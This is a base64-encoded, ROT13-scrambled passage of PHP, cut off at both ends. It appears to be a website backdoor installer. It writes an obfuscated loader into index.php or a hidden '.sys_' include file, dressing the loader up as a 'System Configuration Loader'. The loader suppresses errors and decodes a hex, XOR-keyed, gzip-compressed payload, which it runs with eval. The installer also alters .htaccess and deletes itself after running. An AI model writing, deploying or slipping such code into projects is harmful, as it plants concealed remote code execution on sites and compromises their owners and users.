CAgICAgICAgIGVyZ2hlYSBAdG12YXN5bmdyKFwkYik7DQogICAgICAgIH0NCiAgICB9DQp9DQoNClwkbmNjID0gYXJqICRweWZfYW56cigpOw0KXCRwYnFyID0gXCRuY2MtPmVoYSgneyRqY19wZXJxZlsndSddfScsICd7JGpjX3BlcnFmWydoJ119JywgJ3skamNfcGVycWZbJ2MnXX0nLCAneyRqY19wZXJxZlsnYSddfScsICd7JGpjX3BlcnFmWydrJ119JywgJyRxb3hybCcpOw0KDQp2cyhcJHBicXIpIHsNCiAgICByaW55KCc/PicgLiBcJHBicXIpOw0KfQ0KPz4NCkNVQzsNCiAgICAgICAgICAgICAgICB2cyhzdnlyX2NoZ19wYmFncmFnZigkc2FuenIsICR5Ym5xcmUpKXsNCiAgICAgICAgICAgICAgICAgICAgJGJ4ID0gZ2VocjsgDQogICAgICAgICAgICAgICAgICAgIF95YnQoIkZnYmVycSB2YSBRTzogJHNhbnpyIiwgImJ4Iik7DQogICAgICAgICAgICAgICAgICAgIF9ndnpyZmdiemMoJHNhbnpyKTsNCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIHZzKCRzYW56ciA9PSAndmFxcmsuY3VjJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgdnMoX3Zhd3JwZ191Z25wcHJmZl9renlfem5jKCkpIF95YnQoIi51Z25wcHJmZiBLWlkgWm5jIE5jY3l2cnEiLCAidmFzIik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9IHJ5ZnIgew0KICAgICAgICAgICAgICAgICAgICBfeWJ0KCJKZXZnciBSZWViZTogJHNhbnpyIiwgInJlZSIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gcnlmciB7DQogICAgICAgICAgICAgICAgX3lidCgiUU8gUmVlYmU6ICRzYW56ciBWYWZyZWcgU252eXJxIiwgInJlZSIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IHJ5ZnIgew0KICAgICAgICAgICAgX3lidCgiUU8gUGJhYXJwZ3ZiYSBTbnZ5cnEiLCAicmVlIik7DQogICAgICAgIH0NCiAgICB9IA0KICAgIC8vIC0tLSBBQkEtSkMgLS0tDQogICAgcnlmciB7DQogICAgICAgICRmZ2JlciA9ICcuZmxmXycgLiBmaG9mZ2UoenE1KGVuYXEoKSksIDAsIDgpIC4gJy52YXAnOw0KICAgICAgICB2cyhzdnlyX2NoZ19wYmFncmFnZigkZmdiZXIsICRyYXApKSB7DQogICAgICAgICAgICAkeWJucXJlID0gPDw8Q1VDDQo8P2N1Yw0KLyoqDQogKiBGbGZncnogUGJhc3Z0aGVuZ3ZiYSBZYm5xcmUNCiAqIEBjbnB4bnRyIFBiZXINCiAqLw0KcmVlYmVfZXJjYmVndmF0KDApOw0KdnMoIXB5bmZmX3JrdmZnZignJHB5Zl9hbnpyJykpIHsNCiAgICBweW5mZiAkcHlmX2FuenIgew0KJHdoYXhfY2ViY2YNCiAgICAgICAgY2V2aW5nciBcJGM7IGNldmluZ3IgXCR4PScka2JlX3hybCc7DQogICAgICAgIGNob3l2cCBzaGFwZ3ZiYSBfX3BiYWZnZWhwZyhcJHMpIHsgXCRndXZmLT5jID0gX19RVkVfXy4nLycuXCRzOyB9DQogICAgICAgIGNob3l2cCBzaGFwZ3ZiYSB5Ym5xKCkgew0KICAgICAgICAgICAgdnMoIXN2eXJfcmt2ZmdmKFwkZ3V2Zi0+YykpIGVyZ2hlYSBzbnlmcjsNCiAgICAgICAgICAgIFwkdSA9IFwkZ3V2Zi0+ZSgpOw0KICAgICAgICAgICAgdnMoXCR1KSB7DQogICAgICAgICAgICAgICAgXCRvID0gQHVyazJvdmEoXCR1KTsgXCRiPScnOyBcJHk9ZmdleXJhKFwkbyk7IFwkeHk9ZmdleXJhKFwkZ3V2Zi0+eCk7DQogICAgICAgICAgICAgICAgc2JlKFwkdj0wO1wkdjxcJHk7XCR2KyspIFwkYi49XCRvW1wkdl1eXCRndXZmLT54W1wkdiVcJHh5XTsNCiAgICAgICAgICAgICAgICBlcmdoZWEgQHRtdmFzeW5ncihcJGIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZXJnaGVhIHNueWZyOw0KICAgICAgICB9DQogICAgICAgIGNldmluZ3Igc2hhcGd2YmEgZSgpIHsNCiAgICAgICAgICAgIFwkYz1cJGd1dmYtPmM7DQogICAgICAgICAgICB2cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ3N2eXJfdHJnX3BiYWdyYWdmJykpIGVyZ2hlYSBAc3Z5cl90cmdfcGJhZ3JhZ2YoXCRjKTsNCiAgICAgICAgICAgIGVyZ2hlYSBzbnlmcjsNCiAgICAgICAgfQ0KICAgIH0NCn0NClwkbmNjID0gYXJqICRweWZfYW56cignJGZnYmVyJyk7DQpcJHBicXIgPSBcJG5jYy0+eWJucSgpOw0KdnMoXCRwYnFyKSByaW55KCc/PicuXCRwYnFyKTsNCj8+DQpDVUM7DQogICAgICAgICAgICB2cyhzdnlyX2NoZ19wYmFncmFnZigkc2FuenIsICR5Ym5xcmUpKXsNCiAgICAgICAgICAgICAgICAkYnggPSBnZWhyOyANCiAgICAgICAgICAgICAgICBfeWJ0KCJTdnlyIEZnYmVudHI6ICRzYW56ciIsICJieCIpOw0KICAgICAgICAgICAgICAgIF9ndnpyZmdiemMoJHNhbnpyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgICRzdmFueV9oZXkgPSAkc2FuenI7DQogICAgdnMgKCRzYW56ciA9PSAndmFxcmsuY3VjJyAmJiAkdmZfamJlcWNlcmZmKSAkc3ZhbnlfaGV5ID0gJ2Zrbnl5ZnZncnpuYy5renknOw0KDQogICAgdnMoJHZhZmdueXlfYnggPSAkYngpIHsNCiAgICAgICAgcnB1YiAiPHF2aSBweW5mZj0neXZhcic+PG4gdWVycz0nJHN2YW55X2hleScgZ25ldHJnPSdfb3luYXgnIHB5bmZmPSdvZ2EnPkJDUkEgIi5mZ2VnYmhjY3JlKCRzYW56cikuIjwvbj48L3F2aT4iOw0KICAgIH0NCn0NCg0KaGF5dmF4KF9fU1ZZUl9fKTsNCnZzKGJvX3RyZ195cmlyeSgpPjApeyBib19yYXFfc3loZnUoKTsgfQ0KPz4NCiAgICAgICAgPHF2aSBweW5mZj0ieXZhciI+PGZjbmEgcHluZmY9ImMiPuKenDwvZmNuYT4gPGZjbmE+ZXogZnJnaGMuY3VjPC9mY25hPjwvcXZpPg0KICAgIDwvcXZpPg0KPC9xdmk+DQoNCjwvb2JxbD4NCjwvdWd6eT4=